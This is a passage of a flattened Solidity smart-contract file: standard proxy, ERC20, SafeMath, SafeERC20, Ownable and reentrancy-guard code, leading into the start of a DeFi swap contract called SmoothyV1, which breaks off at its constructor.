* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/UpgradeableExtension.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This contract implements an upgradeable extension. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableExtension is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(
newImplementation == address(0x0) || Address.isContract(newImplementation),
"UpgradeableExtension: new implementation must be 0x0 or a contract"
);
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address62 {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address62 for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address62 for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: openzeppelin-solidity/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/math/Math.sol
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: contracts/ReentrancyGuardPausable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Reuse openzeppelin's ReentrancyGuard with Pausable feature
*/
contract ReentrancyGuardPausable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private constant _PAUSEDV1 = 4;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrantAndUnpaused(uint256 version) {
{
uint256 status = _status;
// On the first call to nonReentrant, _notEntered will be true
require((status & (1 << (version + 1))) == 0, "ReentrancyGuard: paused");
require((status & _ENTERED) == 0, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = status ^ _ENTERED;
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status ^= _ENTERED;
}
modifier nonReentrantAndUnpausedV1() {
{
uint256 status = _status;
// On the first call to nonReentrant, _notEntered will be true
require((status & _PAUSEDV1) == 0, "ReentrancyGuard: paused");
require((status & _ENTERED) == 0, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = status ^ _ENTERED;
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status ^= _ENTERED;
}
function _pause(uint256 flag) internal {
_status |= flag;
}
function _unpause(uint256 flag) internal {
_status &= ~flag;
}
}
// File: contracts/YERC20.sol
pragma solidity ^0.6.0;
/* TODO: Actually methods are public instead of external */
interface YERC20 is IERC20 {
function getPricePerFullShare() external view returns (uint256);
function deposit(uint256 _amount) external;
function withdraw(uint256 _shares) external;
}
// File: contracts/SmoothyV1.sol
pragma solidity ^0.6.0;
contract SmoothyV1 is ReentrancyGuardPausable, ERC20, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant W_ONE = 1e18;
uint256 constant U256_1 = 1;
uint256 constant SWAP_FEE_MAX = 2e17;
uint256 constant REDEEM_FEE_MAX = 2e17;
uint256 constant ADMIN_FEE_PCT_MAX = 5e17;
/** @dev Fee collector of the contract */
address public _rewardCollector;
// Using mapping instead of array to save gas
mapping(uint256 => uint256) public _tokenInfos;
mapping(uint256 => address) public _yTokenAddresses;
// Best estimate of token balance in y pool.
// Save the gas cost of calling yToken to evaluate balanceInToken.
mapping(uint256 => uint256) public _yBalances;
/*
* _totalBalance is expected to >= sum(_getBalance()'s), where the diff is the admin fee
* collected by _collectReward().
*/
uint256 public _totalBalance;
uint256 public _swapFee = 4e14; // 1E18 means 100%
uint256 public _redeemFee = 0; // 1E18 means 100%
uint256 public _adminFeePct = 0; // % of swap/redeem fee to admin
uint256 public _adminInterestPct = 0; // % of interest to admins
uint256 public _ntokens;
uint256 constant YENABLE_OFF = 40;
uint256 constant DECM_OFF = 41;
uint256 constant TID_OFF = 46;
event Swap(
address indexed buyer,
uint256 bTokenIdIn,
uint256 bTokenIdOut,
uint256 inAmount,
uint256 outAmount
);
event SwapAll(
address indexed provider,
uint256[] amounts,
uint256 inOutFlag,
uint256 sTokenMintedOrBurned
);
event Mint(
address indexed provider,
uint256 inAmounts,
uint256 sTokenMinted
);
event Redeem(
address indexed provider,
uint256 bTokenAmount,
uint256 sTokenBurn
);
constructor (
